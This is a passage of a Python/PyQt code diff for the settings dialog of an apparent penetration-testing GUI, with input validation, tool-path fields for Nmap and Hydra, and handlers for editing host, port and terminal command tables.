self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + self.ToolHelpTab.setCurrentIndex(3) + else: + self.updateTerminalActions() + + elif self.previousToolTab == 'Staged Nmap': + if not self.validateStagedNmapTab(): + self.ToolHelpTab.setCurrentIndex(4) +# else: +# self.updateTerminalActions() # LEO: commented out because it didn't look right, please check! + + self.previousToolTab = self.ToolHelpTab.tabText(self.ToolHelpTab.currentIndex()) + + ##################### AUXILIARY FUNCTIONS ##################### + + #def confInitState(self): # LEO: renamed. i get the feeling this function is not necessary if we put this code somewhere else - eg: right before we apply/cancel. we'll see. + def resetTabIndexes(self): # called when the help dialog is opened so that we always show the same tabs. + self.helpTabWidget.setCurrentIndex(0) + self.ToolHelpTab.setCurrentIndex(0) + + def toggleRedBorder(self, widget, red=True): # called by validation functions to display (or not) a red border around a text input widget when input is (in)valid. easier to change stylesheets in one place only. + if red: + widget.setStyleSheet("border: 1px solid red;") + else: + widget.setStyleSheet("border: 1px solid grey;") + + # LEO: I moved the really generic validation functions to the end of auxiliary.py and those are used by these slightly-less-generic ones. + # .. the difference is that these ones also take care of the IF/ELSE which was being duplicated all over the code. everything should be simpler now. + # note that I didn't use these everywhere because sometimes the IF/ELSE are not so straight-forward. + + def validateNumeric(self, widget): + if not validateNumeric(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateString(self, widget): + if not validateString(str(widget.text())): # TODO: this is too strict in some cases... + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateStringWithSpace(self, widget): + if not validateStringWithSpace(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validatePath(self, widget): + if not validatePath(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateFile(self, widget): + if not validateFile(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateCommandFormat(self, widget): + if not validateCommandFormat(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + def validateNmapPorts(self, widget): + if not validateNmapPorts(str(widget.text())): + self.toggleRedBorder(widget, True) + return False + else: + self.toggleRedBorder(widget, False) + return True + + ##################### VALIDATION FUNCTIONS (per tab) ##################### + # LEO: the functions are more or less in the same order as the tabs in the GUI (top-down and left-to-right) except for generic functions + + def validateCurrentTab(self, tab): # LEO: your updateHelp() was split in 2. validateCurrentTab() and updateHelp() since they have different functionality. also, we now have a 'tab' parameter so that we can reuse the code in switchTabClick and avoid duplicate code. the tab parameter will either be the current or the previous tab depending where we call this from. + validationPassed = True + if tab == 'General': + if not self.validateGeneralTab(): + self.helpTabWidget.setCurrentIndex(0) + validationPassed = False + + elif tab == 'Brute': + if not self.validateBruteTab(): + self.helpTabWidget.setCurrentIndex(1) + validationPassed = False + + elif tab == 'Tools': + self.ToolHelpTab.setCurrentIndex(0) + currentToolsTab = self.ToolHelpTab.tabText(self.ToolHelpTab.currentIndex()) + if currentToolsTab == 'Tool Paths': + if not self.toolPathsValidate(): + self.helpTabWidget.setCurrentIndex(2) + self.ToolHelpTab.setCurrentIndex(0) + validationPassed = False + + elif currentToolsTab == 'Host Commands': + if not self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): + self.helpTabWidget.setCurrentIndex(2) + self.ToolHelpTab.setCurrentIndex(1) + validationPassed = False + else: + self.updateHostActions() + + elif currentToolsTab == 'Port Commands': + if not self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): + self.helpTabWidget.setCurrentIndex(2) + self.ToolHelpTab.setCurrentIndex(2) + validationPassed = False + else: + self.updatePortActions() + + elif currentToolsTab == 'Terminal Commands': + if not self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + self.helpTabWidget.setCurrentIndex(2) + self.ToolHelpTab.setCurrentIndex(3) + validationPassed = False + else: + self.updateTerminalActions() + + elif currentToolsTab == 'Staged Nmap': + if not self.validateStagedNmapTab(): + self.helpTabWidget.setCurrentIndex(2) + self.ToolHelpTab.setCurrentIndex(4) + validationPassed = False + + else: + log.info('>>>> we should never be here. potential bug. 1') # LEO: added this just to help when testing. we'll remove it later. + + elif tab == 'Wordlists': + log.info('Coming back from wordlists.') + + elif tab == 'Automated Attacks': + log.info('Coming back from automated attacks.') + + else: + log.info('>>>> we should never be here. potential bug. 2') # LEO: added this just to help when testing. we'll remove it later. + + log.info('DEBUG: current tab is valid: ' + str(validationPassed)) + return validationPassed + + #def generalTabValidate(self): + def validateGeneralTab(self): + validationPassed = self.validateNumeric(self.screenshotTextinput) + + self.toggleRedBorder(self.webServicesTextinput, False) + for service in str(self.webServicesTextinput.text()).split(','):# TODO: this is too strict! no spaces or comma allowed? we can clean up for the user in some simple cases. actually, i'm not sure we even need to split. + if not validateString(service): + self.toggleRedBorder(self.webServicesTextinput, True) + validationPassed = False + break + + return validationPassed + + #def bruteTabValidate(self): + def validateBruteTab(self): # LEO: do NOT change the order of the AND statements otherwise validation may not take place if first condition is False + validationPassed = self.validatePath(self.userlistPath) + validationPassed = self.validatePath(self.passwordlistPath) and validationPassed + validationPassed = self.validateString(self.defaultUserText) and validationPassed + validationPassed = self.validateString(self.defaultPassText) and validationPassed + return validationPassed + + def toolPathsValidate(self): + validationPassed = self.validateFile(self.nmapPathInput) + validationPassed = self.validateFile(self.hydraPathInput) and validationPassed + validationPassed = self.validateFile(self.cutycaptPathInput) and validationPassed + validationPassed = self.validateFile(self.textEditorPathInput) and validationPassed + return validationPassed + +# def commandTabsValidate(self): # LEO: renamed and refactored + def validateCommandTabs(self, nameInput, labelInput, commandInput): # only validates the tool name, label and command fields for host/port/terminal tabs + validationPassed = True + + if self.validationPassed == False: # the self.validationPassed comes from the focus out event + self.toggleRedBorder(nameInput, True) # TODO: this seems like a dodgy way to do it - functions should not depend on hope :) . maybe it's better to simply validate again. code will be clearer too. + validationPassed = False + else: + self.toggleRedBorder(nameInput, False) + + validationPassed = self.validateStringWithSpace(labelInput) and validationPassed + validationPassed = self.validateCommandFormat(commandInput) and validationPassed + return validationPassed + + # avoid using the same code for the selected tab. returns the fields for the current visible tab (host/ports/terminal) + # TODO: don't like this too much. seems like we could just use parameters in the validate tool name function + def selectGroup(self): + tabSelected = -1 + + if self.ToolHelpTab.tabText(self.ToolHelpTab.currentIndex()) == 'Host Commands': + tabSelected = 1 + elif self.ToolHelpTab.tabText(self.ToolHelpTab.currentIndex()) == 'Port Commands': + tabSelected = 2 + elif self.ToolHelpTab.tabText(self.ToolHelpTab.currentIndex()) == 'Terminal Commands': + tabSelected = 3 + + if self.previousToolTab == 'Host Commands' or tabSelected == 1: + tmpWidget = self.toolForHostsTableWidget + tmpActionLineEdit = self.hostActionNameText + tmpLabelLineEdit = self.hostLabelText + tmpCommandLineEdit = self.hostCommandText + actions = self.help.hostActions + tableRow = self.hostTableRow + if self.previousToolTab == 'Port Commands' or tabSelected == 2: + tmpWidget = self.toolForServiceTableWidget + tmpActionLineEdit = self.portActionNameText + tmpLabelLineEdit = self.portLabelText + tmpCommandLineEdit = self.portCommandText + actions = self.help.portActions + tableRow = self.portTableRow + if self.previousToolTab == 'Terminal Commands' or tabSelected == 3: + tmpWidget = self.toolForTerminalTableWidget + tmpActionLineEdit = self.terminalActionNameText + tmpLabelLineEdit = self.terminalLabelText + tmpCommandLineEdit = self.terminalCommandText + actions = self.help.portTerminalActions + tableRow = self.terminalTableRow + + return tmpWidget, tmpActionLineEdit, tmpLabelLineEdit, tmpCommandLineEdit, actions, tableRow + +# def validateInput(self): # LEO: renamed + def validateToolName(self): # called when there is a focus out event. only validates the tool name (key) for host/port/terminal tabs + selectGroup = self.selectGroup() + tmpWidget = selectGroup[0] + tmplineEdit = selectGroup[1] + actions = selectGroup[4] + row = selectGroup[5] + + if tmplineEdit: + row = tmpWidget.currentRow() + + if row != -1: # LEO: when the first condition is True the validateUniqueToolName is never called (bad if we want to show a nice error message for the unique key) + if not validateString(str(tmplineEdit.text())) or not self.validateUniqueToolName(tmpWidget, row, str(tmplineEdit.text())): + tmplineEdit.setStyleSheet("border: 1px solid red;") + tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection) + self.validationPassed = False + log.info('the validation is: ' + str(self.validationPassed)) + return self.validationPassed + else: + tmplineEdit.setStyleSheet("border: 1px solid grey;") + tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) + self.validationPassed = True + log.info('the validation is: ' + str(self.validationPassed)) + if tmpWidget.item(row,0).text() != str(actions[row][1]): + log.info('difference found') + actions[row][1] = tmpWidget.item(row,0).text() + return self.validationPassed + + #def validateUniqueKey(self, widget, tablerow, text): # LEO: renamed. +the function that calls this one already knows the selectGroup stuff so no need to duplicate. + def validateUniqueToolName(self, widget, tablerow, text): # LEO: the function that calls this one already knows the selectGroup stuff so no need to duplicate. + if tablerow != -1: + for row in [i for i in range(widget.rowCount()) if i not in [tablerow]]: + if widget.item(row,0).text() == text: + return False + return True + + #def nmapValidate(self): + def validateStagedNmapTab(self): # LEO: renamed and fixed bugs. TODO: this function is being called way too often. something seems wrong in the overall logic + validationPassed = self.validateNmapPorts(self.stage1Input) + validationPassed = self.validateNmapPorts(self.stage2Input) and validationPassed + validationPassed = self.validateNmapPorts(self.stage3Input) and validationPassed + validationPassed = self.validateNmapPorts(self.stage4Input) and validationPassed + validationPassed = self.validateNmapPorts(self.stage5Input) and validationPassed + return validationPassed + + ##################### TOOLS / HOST COMMANDS FUNCTIONS ##################### + + def addToolForHost(self): + #if self.commandTabsValidate(): + if self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): + currentRows = self.toolForHostsTableWidget.rowCount() + self.toolForHostsTableWidget.setRowCount(currentRows + 1) + + self.toolForHostsTableWidget.setItem(currentRows, 0, QtWidgets.QTableWidgetItem()) + self.toolForHostsTableWidget.item(self.toolForHostsTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.hostActionsNumber)) + self.toolForHostsTableWidget.selectRow(currentRows) + self.help.hostActions.append(['', 'New_Action_'+str(self.hostActionsNumber), '']) + self.hostActionsNumber +=1 + self.updateToolForHostInformation() + + def removeToolForHost(self): + row = self.toolForHostsTableWidget.currentRow() + + # set default values to avoid the error when the first action is add and remove tools + self.hostActionNameText.setText('removed') + self.hostLabelText.setText('removed') + self.hostCommandText.setText('removed') + + for tool in self.help.hostActions: + if tool[1] == str(self.hostActionNameText.text()): + self.help.hostActions.remove(tool) + break + + self.toolForHostsTableWidget.removeRow(row) + + self.toolForHostsTableWidget.selectRow(row-1) + + self.hostTableRow = self.toolForHostsTableWidget.currentRow() + + self.updateToolForHostInformation(False) + + def updateHostActions(self): + self.help.hostActions[self.hostTableRow][0] = str(self.hostLabelText.text()) + self.help.hostActions[self.hostTableRow][2] = str(self.hostCommandText.text()) + + # update variable -> do not update the values when a line is removed + def updateToolForHostInformation(self, update = True): + #if self.commandTabsValidate() == True: + if self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): + + # do not update any values the first time or when the remove button is clicked + if self.hostTableRow == -1 or update == False: + pass + else: + self.updateHostActions() + +# self.hostLabelText.setStyleSheet("border: 1px solid grey;") +# self.hostCommandText.setStyleSheet("border: 1px solid grey;") + self.hostTableRow = self.toolForHostsTableWidget.currentRow() + self.hostLabelText.setReadOnly(False) + if self.toolForHostsTableWidget.item(self.hostTableRow, 0) is not None: + key = self.toolForHostsTableWidget.item(self.hostTableRow, 0).text() + for tool in self.help.hostActions: + if tool[1] == key: + self.hostActionNameText.setText(tool[1]) + self.hostLabelText.setText(tool[0]) + self.hostCommandText.setText(tool[2]) + else: + self.toolForHostsTableWidget.selectRow(self.hostTableRow) + + # this function is used to REAL TIME update the tool table when a user enters a edit a tool name in the HOST/PORT/TERMINAL commands tabs + # LEO: this one replaces updateToolForHostTable + updateToolForServicesTable + updateToolForTerminalTable + def realTimeToolNameUpdate(self, tablewidget, text): # the name still sucks, sorry. at least it's refactored + row = tablewidget.currentRow() + if row != -1: + tablewidget.item(row, 0).setText(str(text)) + + ##################### TOOLS / PORT COMMANDS FUNCTIONS ##################### + + def addToolForService(self): + #if self.commandTabsValidate(): + if self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): + currentRows = self.toolForServiceTableWidget.rowCount() + self.toolForServiceTableWidget.setRowCount(currentRows + 1) + self.toolForServiceTableWidget.setItem(currentRows, 0, QtWidgets.QTableWidgetItem()) + self.toolForServiceTableWidget.item(self.toolForServiceTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.portActionsNumber)) + self.toolForServiceTableWidget.selectRow(currentRows) + self.help.portActions.append(['', 'New_Action_'+str(self.portActionsNumber), '']) + self.portActionsNumber +=1 + self.updateToolForServiceInformation() + + def removeToolForService(self): + row = self.toolForServiceTableWidget.currentRow() + self.portActionNameText.setText('removed') + self.portLabelText.setText('removed') + self.portCommandText.setText('removed') + for tool in self.help.portActions: + if tool[1] == str(self.portActionNameText.text()): + self.help.portActions.remove(tool) + break + self.toolForServiceTableWidget.removeRow(row) + self.toolForServiceTableWidget.selectRow(row-1) + self.portTableRow = self.toolForServiceTableWidget.currentRow() + self.updateToolForServiceInformation(False) + + def updatePortActions(self): + self.help.portActions[self.portTableRow][0] = str(self.portLabelText.text()) + self.help.portActions[self.portTableRow][2] = str(self.portCommandText.text()) + + def updateToolForServiceInformation(self, update = True): + #if self.commandTabsValidate() == True: + if self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): + # the first time do not update anything + if self.portTableRow == -1 or update == False: + log.info('no update') + pass + else: + log.info('update done') + self.updatePortActions() +# self.portLabelText.setStyleSheet("border: 1px solid grey;") +# self.portCommandText.setStyleSheet("border: 1px solid grey;") + self.portTableRow = self.toolForServiceTableWidget.currentRow() + self.portLabelText.setReadOnly(False) + + if self.toolForServiceTableWidget.item(self.portTableRow, 0) is not None: + key = self.toolForServiceTableWidget.item(self.portTableRow, 0).text() + for tool in self.help.portActions: + if tool[1] == key: + self.portActionNameText.setText(tool[1]) + self.portLabelText.setText(tool[0]) + self.portCommandText.setText(tool[2]) + # for the case that the tool (ex. new added tool) does not have services assigned + if len(tool) == 4: + servicesList = tool[3].split(',') + self.terminalServicesActiveTable.setRowCount(len(servicesList)) + for i in range(len(servicesList)): + self.terminalServicesActiveTable.setItem(i, 0, QtWidgets.QTableWidgetItem()) + self.terminalServicesActiveTable.item(i, 0).setText(str(servicesList[i])) + else: + self.toolForServiceTableWidget.selectRow(self.portTableRow) + + ##################### TOOLS / TERMINAL COMMANDS FUNCTIONS ##################### + + def addToolForTerminal(self): + #if self.commandTabsValidate(): + if self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + currentRows = self.toolForTerminalTableWidget.rowCount() + self.toolForTerminalTableWidget.setRowCount(currentRows + 1) + self.toolForTerminalTableWidget.setItem(currentRows, 0, QtWidgets.QTableWidgetItem()) + self.toolForTerminalTableWidget.item(self.toolForTerminalTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.terminalActionsNumber)) + self.toolForTerminalTableWidget.selectRow(currentRows) + self.help.portTerminalActions.append(['', 'New_Action_'+str(self.terminalActionsNumber), '']) + self.terminalActionsNumber +=1 + self.updateToolForTerminalInformation() + + def removeToolForTerminal(self): + row = self.toolForTerminalTableWidget.currentRow() + self.terminalActionNameText.setText('removed') + self.terminalLabelText.setText('removed') + self.terminalCommandText.setText('removed') + for tool in self.help.portTerminalActions: + if tool[1] == str(self.terminalActionNameText.text()): + self.help.portTerminalActions.remove(tool) + break + self.toolForTerminalTableWidget.removeRow(row) + self.toolForTerminalTableWidget.selectRow(row-1) + self.portTableRow = self.toolForTerminalTableWidget.currentRow() + self.updateToolForTerminalInformation(False) + + def updateTerminalActions(self): + self.help.portTerminalActions[self.terminalTableRow][0] = str(self.terminalLabelText.text()) + self.help.portTerminalActions[self.terminalTableRow][2] = str(self.terminalCommandText.text()) + + def updateToolForTerminalInformation(self, update = True): + #if self.commandTabsValidate() == True: + if self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): + # do not update anything the first time or when you remove a line + if self.terminalTableRow == -1 or update == False: + pass + else: + self.updateTerminalActions() + +# self.terminalLabelText.setStyleSheet("border: 1px solid grey;") +# self.terminalCommandText.setStyleSheet("border: 1px solid grey;") + self.terminalTableRow = self.toolForTerminalTableWidget.currentRow() + self.terminalLabelText.setReadOnly(False) + + if self.toolForTerminalTableWidget.item(self.terminalTableRow, 0) is not None: + key = self.toolForTerminalTableWidget.item(self.terminalTableRow, 0).text() + for tool in self.help.portTerminalActions: + if tool[1] == key: + self.terminalActionNameText.setText(tool[1]) + self.terminalLabelText.setText(tool[0]) + self.terminalCommandText.setText(tool[2]) + # for the case that the tool (ex. new added tool) does not have any service assigned + if len(tool) == 4: + servicesList = tool[3].split(',') + self.terminalServicesActiveTable.setRowCount(len(servicesList)) + for i in range(len(servicesList)): + self.terminalServicesActiveTable.setItem(i, 0, QtWidgets.QTableWidgetItem()) + self.terminalServicesActiveTable.item(i, 0).setText(str(servicesList[i])) + else: + self.toolForTerminalTableWidget.selectRow(self.terminalTableRow) + + ##################### TOOLS / AUTOMATED ATTACKS FUNCTIONS ##################### + + def enableAutoToolsTab(self): # when 'Run automated attacks' is checked this function is called + if self.enableAutoAttacks.isChecked(): + self.AutoAttacksHelpTab.setTabEnabled(1,True) + else: + self.AutoAttacksHelpTab.setTabEnabled(1,False) + + #def selectDefaultServices(self): # toggles select/deselect all default creds checkboxes + def toggleDefaultServices(self): # toggles select/deselect all default creds checkboxes + for service in self.defaultServicesList: + if not self.typeDic[service][2].isChecked() == self.checkDefaultCred.isChecked(): + self.typeDic[service][2].toggle() + + #def addRemoveServices(self, add=True): + def moveService(self, src, dst): # in the multiple choice widget (port/terminal commands tabs) it transfers services bidirectionally + if src.selectionModel().selectedRows(): + row = src.currentRow() + dst.setRowCount(dst.rowCount() + 1) + dst.setItem(dst.rowCount() - 1, 0, QtWidgets.QTableWidgetItem()) + dst.item(dst.rowCount() - 1, 0).setText(str(src.item(row, 0).text())) + src.removeRow(row) + + ##################### SETUP FUNCTIONS ##################### + def setupLayout(self): + self.setModal(True) + self.setWindowTitle('Help') + self.setFixedSize(900, 500) + + self.flayout = QtWidgets.QVBoxLayout() + self.helpTabWidget = QtWidgets.QTabWidget() + self.helpTabWidget.setTabBar(HelpTabBarWidget(width=200,height=25)) + self.helpTabWidget.setTabPosition(QtWidgets.QTabWidget.West) # put the tab titles on the left + + # left tab menu items + self.GeneralHelpTab = QtWidgets.QWidget() + self.BruteHelpTab = QtWidgets.QWidget() + self.ToolHelpTab = QtWidgets.QTabWidget() + self.WordlistsHelpTab = QtWidgets.QTabWidget() + self.AutoAttacksHelpTab = QtWidgets.QTabWidget() + + self.setupGeneralTab() + self.setupBruteTab() + self.setupToolsTab() + self.setupAutomatedAttacksTab() + + self.helpTabWidget.addTab(self.GeneralHelpTab,"General") + self.helpTabWidget.addTab(self.BruteHelpTab,"Brute") + self.helpTabWidget.addTab(self.ToolHelpTab,"Tools") + self.helpTabWidget.addTab(self.WordlistsHelpTab,"Wordlists") + self.helpTabWidget.addTab(self.AutoAttacksHelpTab,"Automated Attacks") + + self.helpTabWidget.setCurrentIndex(0) + + self.flayout.addWidget(self.helpTabWidget) + + self.horLayout1 = QtWidgets.QHBoxLayout() + self.cancelButton = QPushButton('Cancel') + self.cancelButton.setMaximumSize(60, 30) + self.applyButton = QPushButton('Apply') + self.applyButton.setMaximumSize(60, 30) + self.spacer2 = QSpacerItem(750,0) + self.horLayout1.addItem(self.spacer2) + self.horLayout1.addWidget(self.applyButton) + self.horLayout1.addWidget(self.cancelButton) + + self.flayout.addLayout(self.horLayout1) + self.setLayout(self.flayout) + + def setupGeneralTab(self): + self.terminalLabel = QtWidgets.QLabel() + self.terminalLabel.setText('Terminal') + self.terminalLabel.setFixedWidth(150) + self.terminalComboBox = QtWidgets.QComboBox() + self.terminalComboBox.setFixedWidth(150) + self.terminalComboBox.setMinimumContentsLength(3) + self.terminalComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + self.terminalComboBox.setCurrentIndex(0) + self.hlayout1 = QtWidgets.QHBoxLayout() + self.hlayout1.addWidget(self.terminalLabel) + self.hlayout1.addWidget(self.terminalComboBox) + self.hlayout1.addStretch() + + self.label3 = QtWidgets.QLabel() + self.label3.setText('Maximum processes') + self.label3.setFixedWidth(150) + self.fastProcessesNumber = [] + for i in range(1, 50): + self.fastProcessesNumber.append(str(i)) + self.fastProcessesComboBox = QtWidgets.QComboBox() + self.fastProcessesComboBox.insertItems(0, self.fastProcessesNumber) + self.fastProcessesComboBox.setMinimumContentsLength(3) + self.fastProcessesComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + self.fastProcessesComboBox.setCurrentIndex(19) + self.fastProcessesComboBox.setFixedWidth(150) + self.fastProcessesComboBox.setMaxVisibleItems(3) + self.hlayoutGeneral_4 = QtWidgets.QHBoxLayout() + self.hlayoutGeneral_4.addWidget(self.label3) + self.hlayoutGeneral_4.addWidget(self.fastProcessesComboBox) + self.hlayoutGeneral_4.addStretch() + + self.label1 = QtWidgets.QLabel() + self.label1.setText('Screenshot timeout') + self.label1.setFixedWidth(150) + self.screenshotTextinput = QtWidgets.QLineEdit() + self.screenshotTextinput.setFixedWidth(150) + self.hlayoutGeneral_2 = QtWidgets.QHBoxLayout() + self.hlayoutGeneral_2.addWidget(self.label1) + self.hlayoutGeneral_2.addWidget(self.screenshotTextinput) + self.hlayoutGeneral_2.addStretch() + + self.label2 = QtWidgets.QLabel() + self.label2.setText('Web services') + self.label2.setFixedWidth(150) + self.webServicesTextinput = QtWidgets.QLineEdit() + self.webServicesTextinput.setFixedWidth(350) + self.hlayoutGeneral_3 = QtWidgets.QHBoxLayout() + self.hlayoutGeneral_3.addWidget(self.label2) + self.hlayoutGeneral_3.addWidget(self.webServicesTextinput) + self.hlayoutGeneral_3.addStretch() + + self.checkStoreClearPW = QtWidgets.QCheckBox() + self.checkStoreClearPW.setText('Store cleartext passwords on exit') + self.hlayoutGeneral_6 = QtWidgets.QHBoxLayout() + self.hlayoutGeneral_6.addWidget(self.checkStoreClearPW) + + self.checkBlackBG = QtWidgets.QCheckBox() + self.checkBlackBG.setText('Use black backgrounds for tool output') + self.hlayout2 = QtWidgets.QHBoxLayout() + self.hlayout2.addWidget(self.checkBlackBG) + + self.vlayoutGeneral = QtWidgets.QVBoxLayout(self.GeneralHelpTab) + self.vlayoutGeneral.addLayout(self.hlayout1) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_4) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_2) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_3) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_6) + self.vlayoutGeneral.addLayout(self.hlayout2) + + self.generalSpacer = QSpacerItem(10,350) + self.vlayoutGeneral.addItem(self.generalSpacer) + + def setupBruteTab(self): + self.vlayoutBrute = QtWidgets.QVBoxLayout(self.BruteHelpTab) + + self.label5 = QtWidgets.QLabel() + self.label5.setText('Username lists path') + self.label5.setFixedWidth(150) + self.userlistPath = QtWidgets.QLineEdit() + self.userlistPath.setFixedWidth(350) + self.browseUsersListButton = QPushButton('Browse') + self.browseUsersListButton.setMaximumSize(80, 30) + self.hlayoutGeneral_7 = QtWidgets.QHBoxLayout() + self.hlayoutGeneral_7.addWidget(self.label5) + self.hlayoutGeneral_7.addWidget(self.userlistPath) + self.hlayoutGeneral_7.addWidget(self.browseUsersListButton) + self.hlayoutGeneral_7.addStretch() + + self.label6 = QtWidgets.QLabel() + self.label6.setText('Password lists path') + self.label6.setFixedWidth(150) + self.passwordlistPath = QtWidgets.QLineEdit() + self.passwordlistPath.setFixedWidth(350) + self.browsePasswordsListButton = QPushButton('Browse') + self.browsePasswordsListButton.setMaximumSize(80, 30) + self.hlayoutGeneral_8 = QtWidgets.QHBoxLayout() + self.hlayoutGeneral_8.addWidget(self.label6) + self.hlayoutGeneral_8.addWidget(self.passwordlistPath) + self.hlayoutGeneral_8.addWidget(self.browsePasswordsListButton) + self.hlayoutGeneral_8.addStretch() + + self.label7 = QtWidgets.QLabel() + self.label7.setText('Default username') + self.label7.setFixedWidth(150) + self.defaultUserText = QtWidgets.QLineEdit() + self.defaultUserText.setFixedWidth(125) + self.hlayoutGeneral_9 = QtWidgets.QHBoxLayout() + self.hlayoutGeneral_9.addWidget(self.label7) + self.hlayoutGeneral_9.addWidget(self.defaultUserText) + self.hlayoutGeneral_9.addStretch() + + self.label8 = QtWidgets.QLabel() + self.label8.setText('Default password') + self.label8.setFixedWidth(150) + self.defaultPassText = QtWidgets.QLineEdit() + self.defaultPassText.setFixedWidth(125) + self.hlayoutGeneral_10 = QtWidgets.QHBoxLayout() + self.hlayoutGeneral_10.addWidget(self.label8) + self.hlayoutGeneral_10.addWidget(self.defaultPassText) + self.hlayoutGeneral_10.addStretch() + + self.vlayoutBrute.addLayout(self.hlayoutGeneral_7) + self.vlayoutBrute.addLayout(self.hlayoutGeneral_8) + self.vlayoutBrute.addLayout(self.hlayoutGeneral_9) + self.vlayoutBrute.addLayout(self.hlayoutGeneral_10) + self.bruteSpacer = QSpacerItem(10,380) + self.vlayoutBrute.addItem(self.bruteSpacer) + + def setupToolsTab(self): + self.ToolPathsWidget = QtWidgets.QWidget() + self.ToolHelpTab.addTab(self.ToolPathsWidget, "Tool Paths") + self.HostActionsWidget = QtWidgets.QWidget() + self.ToolHelpTab.addTab(self.HostActionsWidget, "Host Commands") + self.PortActionsWidget = QtWidgets.QWidget() + self.ToolHelpTab.addTab(self.PortActionsWidget, "Port Commands") + self.portTerminalActionsWidget = QtWidgets.QWidget() + self.ToolHelpTab.addTab(self.portTerminalActionsWidget, "Terminal Commands") + self.StagedNmapWidget = QtWidgets.QWidget() + self.ToolHelpTab.addTab(self.StagedNmapWidget, "Staged Nmap") + + self.setupToolPathsTab() + self.setupHostCommandsTab() + self.setupPortCommandsTab() + self.setupTerminalCommandsTab() + self.setupStagedNmapTab() + + def setupToolPathsTab(self): + self.nmapPathlabel = QtWidgets.QLabel() + self.nmapPathlabel.setText('Nmap') + self.nmapPathlabel.setFixedWidth(100) + self.nmapPathInput = QtWidgets.QLineEdit() + self.nmapPathHorLayout = QtWidgets.QHBoxLayout() + self.nmapPathHorLayout.addWidget(self.nmapPathlabel) + self.nmapPathHorLayout.addWidget(self.nmapPathInput) + self.nmapPathHorLayout.addStretch() + + self.hydraPathlabel = QtWidgets.QLabel() + self.hydraPathlabel.setText('Hydra') + self.hydraPathlabel.setFixedWidth(100) + self.hydraPathInput = QtWidgets.QLineEdit() + self.hydraPathHorLayout = QtWidgets.QHBoxLayout() + self.hydraPathHorLayout.addWidget(self.hydraPathlabel) + self.hydraPathHorLayout.addWidget(self.hydraPathInput) + self.hydraPathHorLayout.addStretch() + + self.cutycaptPathlabel = QtWidgets.QLabel() + self.cutycaptPathlabel.setText('Cutycapt') + self.cutycaptPathlabel.setFixedWidth(100) + self.cutycaptPathInput = QtWidgets.QLineEdit() + self.cutycaptPathHorLayout = QtWidgets.QHBoxLayout() + self.cutycaptPathHorLayout.addWidget(self.cutycaptPathlabel) + self.cutycaptPathHorLayout.addWidget(self.cutycaptPathInput) + self.cutycaptPathHorLayout.addStretch() + + self.textEditorPathlabel = QtWidgets.QLabel() + self.textEditorPathlabel.setText('Text editor') + self.textEditorPathlabel.setFixedWidth(100) + self.textEditorPathInput = QtWidgets.QLineEdit() + self.textEditorPathHorLayout = QtWidgets.QHBoxLayout() + self.textEditorPathHorLayout.addWidget(self.textEditorPathlabel) + self.textEditorPathHorLayout.addWidget(self.textEditorPathInput) + self.textEditorPathHorLayout.addStretch() + + self.toolsPathVerLayout = QtWidgets.QVBoxLayout() + self.toolsPathVerLayout.addLayout(self.nmapPathHorLayout) + self.toolsPathVerLayout.addLayout(self.hydraPathHorLayout) + self.toolsPathVerLayout.addLayout(self.cutycaptPathHorLayout) + self.toolsPathVerLayout.addLayout(self.textEditorPathHorLayout) + self.toolsPathVerLayout.addStretch() + + self.globToolsPathHorLayout = QtWidgets.QHBoxLayout(self.ToolPathsWidget) + self.globToolsPathHorLayout.addLayout(self.toolsPathVerLayout) + self.toolsPathHorSpacer = QSpacerItem(50,0) # right margin spacer + self.globToolsPathHorLayout.addItem(self.toolsPathHorSpacer) + + def setupHostCommandsTab(self): + self.toolForHostsTableWidget = QtWidgets.QTableWidget(self.HostActionsWidget) + self.toolForHostsTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.toolForHostsTableWidget.setFixedWidth(180) + self.toolForHostsTableWidget.setShowGrid(False) # to make the cells of the table read only + self.toolForHostsTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) + + self.toolForHostsTableWidget.setColumnCount(1) + self.toolForHostsTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) + self.toolForHostsTableWidget.horizontalHeaderItem(0).setText("Name") + self.toolForHostsTableWidget.horizontalHeader().resizeSection(0,200) + self.toolForHostsTableWidget.horizontalHeader().setVisible(False) + self.toolForHostsTableWidget.verticalHeader().setVisible(False) # row header - is hidden + self.toolForHostsTableWidget.setVerticalHeaderItem(0, QtWidgets.QTableWidgetItem()) + + self.horLayoutPortActions = QtWidgets.QHBoxLayout() + self.removeToolForHostButton = QPushButton('Remove') + self.removeToolForHostButton.setMaximumSize(90, 30) + self.addToolForHostButton = QPushButton('Add') + 